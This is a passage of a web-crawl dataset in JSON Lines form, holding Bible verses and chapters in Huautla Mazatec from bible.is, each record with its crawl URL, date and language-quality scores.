tíchit'aà-ne.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/2","date":"2013-05-20T12:54:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698958430\/warc\/CC-MAIN-20130516100918-00050-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000065565109253}","num_words":512,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.357,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gálatas 5:21\n21 kjoa̱xìtakòn, kjoa̱'chi̱, ko̱ ngats'iì kjoa̱chrjá'a xi ma ñánda bitjo s'eí. Tjín ìsa̱ kjoa̱ xi kj'ei̱í, xi mangásòn-ko̱ kjoa̱ koi. Koni s'ín kixan-nò nga sa̱ ítjòn, tákó k'oa̱á xan-nò skanda i̱'ndei̱, jñà xi̱ta̱ xi k'oa̱ tjín kjoa̱ xi s'ín, nìmé kjo̱ndaà sa̱ko-la̱ ya̱ ñánda nga tíhotíxoma Nainá.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Gal\/5\/21","date":"2013-05-25T06:46:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705575935\/warc\/CC-MAIN-20130516115935-00008-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9995075464,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9995075464248657}","num_words":66,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.273,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Mateo 11:11\n11 O̱kixi̱-né, ngats'iì xi̱ta̱ xi tjín i̱ i̱sò'nde, ni̱ saá jngoò xi̱ta̱ bitjòkájiìn xi mangásòn koni jè Juan xi kis'iìn bautizar xi̱ta̱; ta̱nga ya̱ i̱jiìn na̱xa̱ndá ñánda otíxoma jè xi ngajmiì nchrobá-ne, jè xi̱ta̱ xi fehet'aà-ne, ìsa̱á jeya tíjna mì k'oa̱á-ne koni Juan.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/11\/11","date":"2013-05-25T12:28:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705948348\/warc\/CC-MAIN-20130516120548-00078-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.999232769,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9992327690124512}","num_words":63,"character_repetition_ratio":0.01,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.27,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Efesios 5:11\n11 Kiì ya̱á chingàjñoò kjoa̱ xi nímé chjí-la̱ koni s'ín xi̱ta̱ xi tjíjñò kjo̱hítsjeèn-la̱. Jñò, ta̱ saà ta̱kó nga kàta'ya-la̱ nga mì kiì ndaà tjín kjoa̱ xi s'ín.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Eph\/5\/11","date":"2013-05-20T12:31:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698958430\/warc\/CC-MAIN-20130516100918-00078-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9981706738,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9981706738471985}","num_words":47,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.234,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Timoteo 1:6\n6 Koií k'oa̱ s'ín tìsìkítsjeèn-lè nga ìsa̱ ndaà ti̱kjiín kjo̱tjò xi kitsjaà-lè Nainá nga ndaà ti̱xá-la̱, jè kjo̱tjò xi kitjoé-lè k'e̱ nga an tsakàsòn-lè ntsa̱a.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Tim\/1\/6","date":"2013-05-24T16:59:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704818711\/warc\/CC-MAIN-20130516114658-00013-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9988077879,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9988077878952026}","num_words":44,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hebreos 4:14\n14 Jesús xi ki'ndí-la̱ Nainá, jè-né xi ngui soba no̱'miì ítjòn tíjna i̱t'aà tsa̱ján, jè-né xi jahas'en ngajmiì nga nguixko̱n Nainá. K'oa̱á ma-ne nga mochjeèn-né nga kixi̱ kitsa̱jnakoa̱á jñà 'én xi mokjeiín-ná.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/4\/14","date":"2013-05-23T05:45:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702849682\/warc\/CC-MAIN-20130516111409-00094-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9886301756,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9886301755905151}","num_words":51,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.216,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ngats'iì kjoa̱ xi chibàya-ná, tjín jngoò xi ìsa̱á 'ñó chjí-la̱, jè-né nga tíjna jngoò-ná no̱'miì ítjòn xi tsibìjnat'aà chrja kixi̱-la̱ íxi̱le̱ kjo̱tíxoma-la̱ Nainá ján ngajmiì. 2 Ya̱á síxá ya̱ ñánda tíjna xi nguì Ni'ya Tsjeè-la̱ Nainá, xi jè sobà Nainá tsibíndaà; mìtsà ta̱xki̱ xi̱ta̱ tsibíndaà. 3 Ngats'iì no̱'miì ítjòn, k'oa̱ás'ín satíxoma-la̱ nga kjo̱tjò tsját'aà-la̱ Nainá ko̱ cho̱ sík'en; k'oa̱á ma-ne nga jè Cristo ti̱k'oa tjínè-la̱ nga kis'e-la̱ mé kjo̱tjò xi kitsjaàt'aà-la̱ Nainá. 4 Jè Cristo, tsà i̱ tíjna i̱t'aà nangui, skanda mì-la kiì ko̱ma nga no̱'miì kíjna, nga i̱ i̱taà na̱ngui, jyeé tjín no̱'miì xi tsját'aà-la̱ kjo̱tjò Nainá koni s'ín tjín kjo̱tíxoma xi kiskiì Moisés. 5 Ta̱nga jñà no̱'miì xi tjín i̱ i̱t'aà nangui, ya̱á síxá ni'ya xi tà i̱sén-la̱-né ko̱ 'nguién-la̱-né jè Ni'ya Tsjeè-la̱ Nainá xi tíjna ngajmiì; nga̱ jè Moisés k'e̱ nga jye mejèn koi̱í'tsia̱ nga ki̱ìndaà ni'ya tsjeè-la̱ Nainá xi nikje, jè Nainá kitsò-la̱: \"Ndaà chítsejìn, k'oa̱ kó kji t'i̱ìn koni kji xi tsako-le ya̱ nindoò Sinaí.\" 6 Ta̱nga na̱chrjein i̱'ndei̱, ìsa̱á ndaà tjín xá xi kitjoé-la̱ Jesucristo nga no̱'miì ítjòn tíjna, nga jè osìjnajiìn jngoò kjoa̱ xi̱tse̱ xi isa̱ ndaà tjín xi tsibíndaàjiìn Nainá ko̱ xi̱ta̱, nga ya̱á nchrobát'aà-ne 'én xi isa̱ ndaà tjín koni s'ín jye kitsjaà tso'ba Nainá. 7 Tsà ni̱mé xi kisichijat'aà-la̱ jè kjoa̱ xi kisindaàjiìn ítjòn, mì-la kiì mochjeén nga ijngoò k'a sindaàjiìn xi ma-ne jò k'a. 8 Ta̱nga Nainá k'e̱ nga tsohótiìko̱, k'oa̱á kitsò: Kijchó na̱chrjein k'e̱ nga kìndaàjiìnko̱ jngoò kjoa̱ xi̱tse̱ jñà xi̱ta̱ Israel ko̱ xi̱ta̱ Judá, —kitsò Nainá. 9 Jè kjoa̱ xi̱tse̱ xi kìndaàjiìn-koa̱a, mìtsà k'oa̱s'ín si̱ndaàjiìn koni ts'e̱ xi̱ta̱ jchínga-la̱, k'e̱ nga 'an sobà kitsobà tsja nga tsachrjekàjñaà nangui Egipto. Jñà xi̱ta̱ koi, mì kiì kisìkitasòn koni s'ín kisindaàjiìn, k'oa̱ komà-ne nga kitsjìn takoàn, —tsò Nainá. 10 K'e̱ nga jye ko̱ma i̱skan, jè kjoa̱ xi̱tse̱ xi kìndaàjñaàkoa̱a xi̱ta̱ Israel, kiìs'ín s'e̱, —tsò Nainá: Kjo̱tíxoma-na̱ ya̱á kíjnajñaà ya̱ kjo̱hítsjeèn-la̱, ko̱ ya̱á skiaà i̱jiìn ini̱ma̱-la̱. 'An-ná xi Nainá ki̱tso̱-na, ko̱ jñà-né xi ko̱ma xi̱ta̱ na̱xa̱ndá-na̱. 11 Mì ti̱ kiì ko̱chjeén-ne nga xi̱ta̱ xíkjín ke̱èno̱jmíya-la̱ ni̱ mì tsà jè 'ntse̱ ke̱èno̱jmí-la̱ nga skoe̱xkon Nainá, nga ngats'iì xi̱ta̱ skoe̱xkon-na̱ mats'ia̱ko̱-ne xi sa i̱xti skanda jñà xi 'ñó xi̱ta̱ jchínga. 12 'Aán siìjcha̱at'aà-la̱ ngats'iì kjoa̱ ch'o xi kis'iìn, mì ti̱ kiì siìkítsjeèn-na̱ jé xi tjín-la̱. 13 K'e̱ nga Nainá síkaxki̱ ijngoò kjoa̱ xi̱tse̱, tsòyaá-ne nga jè kjoa̱ xi kisìndaàjiìn ítjòn, jyeé kòjchínga. Mì ti̱ kiì tímochjeén-ne, jyeé tíchija.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/8","date":"2013-05-25T20:58:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706413448\/warc\/CC-MAIN-20130516121333-00056-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000038146972656}","num_words":383,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.345,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Timoteo 6:17\n17 Jñà xi̱ta̱ nchi̱ná xi tjín i̱ i̱sò'nde, k'oa̱s'ín tinè-la̱: \"Kì bí'nga-la̱ ikon.\" Kì koií ma'ñót'aà ikon kjoa̱nchi̱ná xi tjín-la̱ nga tà ni̱to̱n fehit'aà. Jè kàtama'ñót'aà ikon Nainá xi tíjnakon nga jè tsjá yije-ná xi mochjeèn-ná skanda síkatonè-la̱ mé-ne nga ko̱ kjo̱tsja si̱kjeén tsojmì xi tsjá-ná.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1Tim\/6\/17","date":"2013-05-24T16:04:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704713110\/warc\/CC-MAIN-20130516114513-00089-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9988677502,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9988677501678467}","num_words":65,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.231,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romanos 10:21\n21 Ta̱nga jè Isaías k'oa̱á s'ín kiskiì i̱t'aà ts'e̱ xi̱ta̱ Israel koni s'ín kitsò Nainá: \"Na̱chrjein nchijòn tsijmeé-la̱ ntsaà nga kìchjà'nchré-la̱ jngoò na̱xa̱ndá xi kondra̱ kiì-la̱ 'én-na̱ nga mì kì kisìkitasòn.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/10\/21","date":"2013-06-20T10:32:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368711406217\/warc\/CC-MAIN-20130516133646-00078-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9995524883,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9995524883270264}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 An Pablo, tìkjiì-le xo̱jo̱n jè, nga an tsibíxáya-na Jesucristo, nga k'oa̱á s'ín kitsjaà o̱kixi̱ Nainá xi ochrjekàjiìn-ná kjo̱'in ko̱ Na̱'èn-ná Jesucristo nga titsa̱chiñá-lá kjo̱ndaà-la̱. 2 Ngaji̱ Timoteo, koni tsà ki'ndí ts'a̱n xan-lè nga an tsakoòyandaà-lè koni s'ín mokjeiín-ná i̱t'aà ts'e̱ Cristo. Nainá xi Na̱'èn-ná ko̱ Na̱'èn-ná Jesucristo kàtatsjá-lè kjo̱ndaà, kàtahi̱ma̱keè-lè, kàtas'e-la̱ kjoa̱'nchán i̱jiìn ini̱ma̱-lè. 3 Koni s'ín tsibìtsi'ba-lè k'e̱ nga kiaà nangui Macedonia, ya̱á ti̱jni na̱xa̱ndá Éfeso mé-ne nga ki̱chakjáya-la̱ xi̱ta̱ xi mì tsà én kixi̱ nchihokóya i̱jiìn na̱xa̱ndá-la̱ Nainá. 4 Ngaji̱ Timoteo, k'oa̱ s'ín tjínè-la̱ jñà xi̱ta̱ koi, kì kiì sís'in-la̱ cuento jchínga xi mìtsà kixi̱ kjoa̱ ti̱koa̱ kì kiì sís'in-la̱ kjoa̱ xi mì kiì fehit'aà ts'e̱ xi̱ta̱ jchínga kjòtseé. Kjoa̱ koi nì mé chjí-la̱. Tà síkjaán-kjoò-ná. Mì kì osìko̱-ná nga mokjeiín-ná i̱t'aà ts'e̱ Cristo mé-ne nga ko̱ma si̱kitasoàn koni s'ín mejèn-la̱ Nainá. 5 Xá xi tíbìnè-lè, jè-né nga tsjeè tíjna ini̱ma̱-ná, nga tsjeè tjín kjo̱hítsjeèn-ná koa̱ nga nguiì ndaà mokjeiín-ná; ya̱á nchrobát'aà-ne nga si̱tjòchaà xinguia̱á. 6 Ta̱nga tjín i'nga xi̱ta̱ xi xìn ndi̱yá tjímaya; tà koií joóya-ne 'én xi nìmé chjí-la̱. 7 Mejèn-la̱ maestro ts'e̱ kjo̱tíxoma-la̱ Nainá kítsa̱jna. Ta̱nga ti̱ jñà-ne, skanda mì kiì machi̱ya-la̱ 'én xi chja̱ nga 'ñó chja̱ nga tsò nga kixi̱ kjoa̱. 8 Tíjiìn-ná nga jè kjo̱tíxoma xi kitsjaà Nainá, ndaà tjín tsà k'oa̱s'ín ko̱chjeén koni s'ín mejèn-la̱ Nainá. 9 'Ya-ná, kjo̱tíxoma-la̱ Nainá, mì tsà ts'e̱ jñà xi̱ta̱ xi ndaà s'ín. Ts'e̱-né jñà xi̱ta̱ xi mì kiì 'nchréñijon koa̱ mì kiì síkitasòn; ts'e̱-né xi̱ta̱ xi mì kiì beèxkón Nainá koa̱ ótsji jé; ts'e̱-né xi̱ta̱ xi mì tsjeè tjín kjo̱hítsjeèn-la̱ xi tjé beèhikon jè kjoa̱tsjeè-la̱ Nainá; ts'e̱-né xi̱ta̱ xi sík'en na̱'èn-la̱ ko̱ nea̱-la̱, ko̱ ngats'iì xi̱ta̱ xi xi̱ta̱ sík'en. 10 Ti̱koa̱ ts'e̱-né jñà xi̱ta̱ xi kjoa̱ chijnguií s'ín, jñà xi xi̱ta̱ xa'nda, xi̱ta̱ xi xíkjín fìko̱ chijé nga otíjna. Ti̱koa̱ ts'e̱-né jñà xi̱ta̱ ndiso ko̱ xi̱ta̱ xi mì tsà 'én kixi̱ chja̱, jñà xi̱ta̱ xi ch'o tjín kjoa̱ xi s'ín xi kondra̱ ts'e̱ kjo̱hítsjeèn xi kixi̱ tjín. 11 Jè kjo̱hítsjeèn kixi̱, k'oa̱á tjín xi okóya jñà 'én jeya-la̱ Nainá xi kjoa̱ ts'e̱ Cristo. Nainá xi 'ñó jeya tíjna, jè kisìnga̱tsja-na nga an kichjàya 'én koi. 12 Tsjaà-la̱ kjo̱ndaà Na̱'èn-ná Jesucristo. Ndaà chjí-la̱ nga kitsjaà -na nga'ñó ti̱koa̱ ndaà kijtseè ikon-na nga an kisìnga̱tsja-na xá-la̱. 13 Na̱s'ín k'e̱ nga sa̱ ítjòn, 'ñó ch'o kis'iaàn, kichjàjno-la̱ Nainá, kondra̱ kiìtji̱ngui-la̱, toòn kijtseè xi̱ta̱-la̱ ta̱nga kjòhi̱ma̱keè-na Nainá, nga kj'eè kiì be koa̱ kj'eè kiì mokjeiín-na i̱t'aà ts'e̱ Cristo. 14 Ta̱nga jè kjo̱tjò-la̱ Na̱'èn-ná ìsa̱á 'ñó tse kitsjaà-na ti̱koa̱ kisìhiseèn -na nga mokjeiín-na ko̱ kitsjaà-na kjoa̱tjòchaà-la̱ nga jè Cristo tijnakoa̱a. 15 Jñà 'én koi, nguì 'én kixi̱-né. Mochjeèn-né nga ko̱kjeiín yije-la̱ xi̱ta̱ nga jè Jesucristo j'iì i̱ i̱sò'nde nga ko̱chrjekájiìn kjo̱'in ngats'iì xi̱ta̱ xi jé tjín-la̱. Ngats'iì xi̱ta̱ xi ch'o s'ín, aán tijna̱a ítjoàn nga tsohotsjià jé. 16 Na̱s'ín 'ñó ch'o kis'iaàn, Nainá kis'e-la̱ kjo̱hi̱ma̱takòn i̱t'aà ts'a̱n. Jñà xi̱ta̱, k'e̱ nga skoe̱ kó s'ín kisìko̱-na Na̱'èn-ná Jesucristo, nga 'ñó tjín-la̱ kjoa̱tsetakòn, ti̱koa̱á ko̱kjeiín-la̱ i̱t'aà ts'e̱ Cristo nga s'e̱-la̱ kjoa̱bijnachoòn ni̱ta̱ mé na̱chrjein-ne. 17 Nainá, 'nga kàtìjna, kàtas'e-la̱ kjoa̱jeya ni̱ta̱ mé nó, ni̱ta̱ mé na̱chrjein-ne nga jè otíxoma ni̱ta̱ mé na̱chrjein-ne koa̱ mì kiì kjoe̱hit'aà na̱chrjein-la̱ ni̱ta̱ kjé-ne, ti̱koa̱ mì kiì tsejèn ñánda tíjna koa̱ nguiì jè ta̱jngoò xi Nainá. K'oa̱ s'ín kàtama. 18 Ngaji̱ Timoteo koni tsà ki'ndí-na̱ xan-lè, sìnga̱tsja-lè 'én koi, koni s'ín kitsò xi̱ta̱ xi kisìkjeén Nainá nga kiìchja̱ i̱t'aà tsi̱ji, mé-ne nga i̱t'aà ts'e̱ 'én koi, tsjá-lè nga'ñó nga ndaà si̱xá-la̱ Nainá koni s'ín síxá soldado. 19 Ndaà kàtakjeiín-le i̱t'aà ts'e̱ Cristo, ti̱koa̱ ndaà kàtìjna kjo̱hítsjeèn-lè. Tjín i'nga xi̱ta̱ xi mì kiì kisìs'in kjo̱hítsjeèn xi ndaà tjín. K'oa̱á komà-ne nga kisìkje-la̱ ikon nga mì ti̱ kiì kjòkjeiín-la̱. 20 K'oa̱á s'ín komàtin jè Himeneo ko̱ Alejandro xi an kisìkítsa̱jnakoa̱a xi̱ta̱ nei̱í mé-ne nga kàtakixi̱ya-ne nga mì ta̱xki̱ ki̱chja̱jno-la̱ Nainá.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1Tim\/1","date":"2013-05-18T17:51:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696382584\/warc\/CC-MAIN-20130516092622-00011-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.000007152557373}","num_words":602,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Jè kjoa̱ xi mokjeiín-ná, jè-né nga tjín kixi̱ nga tjoé-ná jñà kjoa̱ xi chiñá-lá; jè-né nga tíjngo takoán nga ki̱tjasòn na̱s'ín mì kiì titsa̱yaá xi kjoa̱ ni̱to̱n. 2 Jñà xi̱ta̱ jchínga kjòtseè, koií kjoa̱-la̱ nga kòkjeiín-la̱ nga ndaá kiya-la̱. 3 Ta koi-né nga mokjeiín-ná nga ko̱s'ín machi̱ya-ná nga jè Nainá, tà ko̱ó 'én-la̱ tsibíndaà i̱sò'nde; kisìkatsejèn tsojmì xi mì kiì tsejèn nga sa ítjòn. 4 Abel, koií kjoa̱-la̱ nga kòkjeiín-la̱, kitsjaàt'aà-la̱ Nainá kjo̱tjò xi isa̱ 'ñó ndaà kjoàn, mì k'oa̱à-ne koni ts'e̱ Caín. K'oa̱á s'ín komà-ne nga xi̱ta̱ kixi̱ kitsò-la̱ Nainá Abel; kiskoé kjo̱tjò xi ijchòko̱-la̱; skanda na̱chrjein i̱'ndei̱, tákó k'oa̱ás'ín tíchja̱ nga mokjeiín-la̱, na̱s'ín jye k'en. 5 Enoc, tik'oa̱á kòkjeiín-la̱; k'oa̱ás'ín komà-ne nga kiìko̱ tíkòn Nainá ján ngajmiì; mì ti̱ kiì kisakò-ne k'e̱ nga jye kiìko̱. K'e̱ nga sa tsibíjna i̱ i̱sò'nde, Enoc, k'oa̱á s'ín ki'ya-la̱ nga ndaà kisaseèn takòn Nainá. 6 Tsà mì kiì mokjeiín-ná i̱t'aà ts'e̱ Nainá, mì kiì ko̱ma s'eén kjoa̱ xi sasén-la̱ Nainá. Jè xi̱ta̱ xi síchrañat'aà-la̱ Nainá mochjeèn-né nga ndaà ko̱kjeiín-la̱ nga tíjna Nainá, ti̱koa̱ ko̱kjeiín-la̱ nga ngats'iì xi̱ta̱ xi ótsji Nainá, tsjá-la̱ kjo̱tjò xi ndaà tjín. 7 Noé koií-né nga kòkjeiín-la̱, k'e̱ nga tsibeèno̱jmí-la̱ Nainá kjoa̱ xi iskàn ko̱ma, kisìkitasòn; ko̱ó kjo̱xkón-la̱ nga tsibíndaà jngoò chitso xi 'ñó je kji, mé-ne nga mì kiì ki̱yá-ne jñà xi̱ta̱ ni'ya-la̱. Noé, nga ndaà kòkjeiín-la̱, k'oa̱ás'ín tsibínè-la̱ kjo̱'in xi̱ta̱ i̱sò'nde nga jé tjín-la̱; ko̱ jè Noé kitjoé-la̱ kjo̱tjò xi tsjá Nainá nga xi̱ta̱ kixi̱ kitsò-la̱ ta koi̱í kjoa̱-la̱ nga kòkjeiín-la̱. 8 Abraham, nga kòkjeiín-la̱ k'e̱ nga kiìchja̱-la̱ Nainá, kisìkitasòn. Itjokàjiìn nangui-la̱, kiì ya̱ i̱'nde ñánda tà kjo̱tjò tsjá-la̱ Nainá, ta̱nga skanda mì kiì tíjiìn-la̱ ñánda tífì. 9 Koií kjoa̱-la̱ nga kòkjeiín-la̱, nga ko̱s'ín kisìjchá yijo-la̱ koni tsà xi̱ta̱ xi xìn nangui-la̱ na̱s'ín ya̱ tsibìjna ya̱ i̱'nde ñánda nga k'oa̱ kitsò-la̱ Nainá nga tsjá kjo̱tjò-la̱. Ni'ya nikjeé tsibìjnaya. Nga kiì isa na̱chrjein, k'oa̱á ti̱ kjomàtin jè Isaac ko̱ Jacob, xi ti̱koa̱ k'oa̱ s'ín kitsjaà-la̱ 'én Nainá nga ts'e̱ ko̱ma nangui. 10 Abraham tíkoña jngoò-la̱ na̱xa̱ndá xi 'ñó ndaà tjín tjats'en chrjó-la̱, nga jè Nainá kiskosòn-la̱ kós'ín si̱nda ko̱ ti̱jè-ne Nainá tsibíndaà. 11 Koií kjoa̱-la̱ nga kòkjeiín-la̱ Abraham, nga na̱s'ín chjo̱ón 'ndi̱ jè chjo̱ón-la̱ xi 'mì Sara, ko̱ na̱s'ín jye 'ñó xi̱ta̱ jchínga, kis'eé-la̱ nga'ñó nga kisakò jngoò-la̱ ki'ndí jè Sara, koií kjoa̱-la̱ nga kòkjeiín-la̱ nga Nainá síkitasòn koni s'ín jye kitsjà-la̱ 'én-la̱. 12 K'oa̱á ma-ne nga ta jè ta̱jngoò xi̱ta̱ jè, na̱s'ín jye tífehit'aà na̱chrjein-la̱, kjìn jchán ma i̱xti-la̱ xi tje̱ ts'e̱ k'oa̱á ngaya-la̱ koni jñà ni'ño xi tjín ngajmiì ko̱ tsomí xi jncha i̱ndiì ndáchikon nga mì kiì ma maxke̱ya. 13 Ngats'iì xi̱ta̱ koi, k'oa̱á s'ín mokjeiín-la̱ skanda k'e̱ nga k'en, na̱s'ín mì kiì kitjoé-la̱ tsojmì xi Nainá k'oa̱s'ín kitsjaà 'én-la̱ nga tsjá-la̱; ta k'oa̱á s'ín kjòchi̱ya-la̱ koni tsà ta kjiìn kijtse-ne; tsjaá kis'e-la̱ nga kitsò nga mì tsà i̱ i̱'nde-la̱, ta nchifahato-né nga títsa̱jna i̱ i̱t'aà nangui. 14 Jñà xi̱ta̱ xi koa̱tsò, k'oa̱á s'ín beèno̱jmí kixi̱-né nga sa̱á nchihótsji jngoò nangui xi nguiì ts'e̱ ko̱ma. 15 Tsà jè nchisíkítsjeèn nangui ñánda itjokàjiìn, okixi̱-né komá-la kiì ìjngoò k'a-ne i̱'nde ñánda inchrobá-ne. 16 Ta̱nga jngoò i̱'nde nchihótsji xi ìsa̱ ndaà chon, i̱'nde xi ts'e̱ ngajmiì. K'oa̱á ma-ne nga jè Nainá, mì kiì masoba-la̱ nga ki̱tso̱-la̱ xi̱ta̱: jè jèe̱ xi Nainá tsò-la̱ xi̱ta̱ koi, nga jyeé kisìkíjnandaà jngoò-la̱ i̱'nde ñánda na̱xa̱ndá-la̱ ko̱ma nga ya̱ kítsa̱jna. 17 Abraham, k'e̱ nga kichìt'aà, koií kjoa̱-la̱ nga kòkjeiín-la̱ nga kiskoé Isaac nga kitsjaàt'aà kjo̱tjò-la̱ Nainá. Tsibìjnandaà nga tsjá-la̱ ki'ndí-la̱ xi ta jè tajngoò-ne, na̱s'ín xó k'oa̱s'ín kitsjaà-ne 'én Nainá i̱t'aà ts'e̱ ki'ndí-la̱, k'e̱ nga kitsò: 18 \"I̱t'aà ts'e̱ Isaac, kjìn jchán ko̱ma xi̱ta̱ tje̱-le.\" 19 Abraham k'oa̱á s'ín kisìkítsjeèn nga Nainá tjín-la̱ nga'ñó nga ma-la̱ síkjaáya-la̱ xi̱ta̱ na̱s'ín jye k'en. Kitjoé ìjngoò k'a-la̱ ki'ndí-la̱ koni tsà jaháya-la̱ i̱t'aà ts'e̱ kjoa̱biyaà. 20 Isaac, koi kjoa̱-la̱ nga mokjeiín-la̱ nga kisìjét'aà-la̱ Nainá nga kàtasíchikontin Jacob ko̱ Esaú i̱t'aà ts'e̱ kjoa̱ xi i̱skan ko̱ma. 21 Koií kjoa̱-la̱ nga mokjeiín-la̱ Jacob, k'e̱ nga jye tíbiyaà, kisìjét'aà-la̱ Nainá nga kàtasíchikontin ingajò i̱xti-la̱ José; síngui'ñó tsja yá nise-la̱ nga jeya kisìkíjna Nainá. 22 Koií kjoa̱-la̱ nga mokjeiín-la̱ José, k'e̱ nga jye tíbiyaà, tsibèno̱jmí kós'ín ko̱matin jñà xi̱ta̱ Israel nga ki̱tjokàjiìn na̱xa̱ndá Egipto. Ti̱koa̱ kitsjaà o̱kixi̱ i̱t'aà ts'e̱ nindaà-la̱ ñánda kji̱ko̱. 23 Xi̱ta̱ jchínga-la̱ Moisés, koi kjoa̱-la̱ nga kòkjeiín-la̱ nga jàn sá kisìkíjna'ma ki'ndí-la̱ k'e̱ nga sa̱ kits'iìn, nga kijtseè nga 'ñó ndaà kji isén-la̱ ki'ndí-la̱, ko̱ mì kiì kitsakjòn-la̱ kjo̱tíxoma-la̱ xi̱ta̱xá ítjòn ts'e̱ na̱xa̱ndá Egipto. 24 K'e̱ nga jye kjojchínga Moisés, koií kjoa̱-la̱ nga kjokjeiín-la̱ nga mì kiì 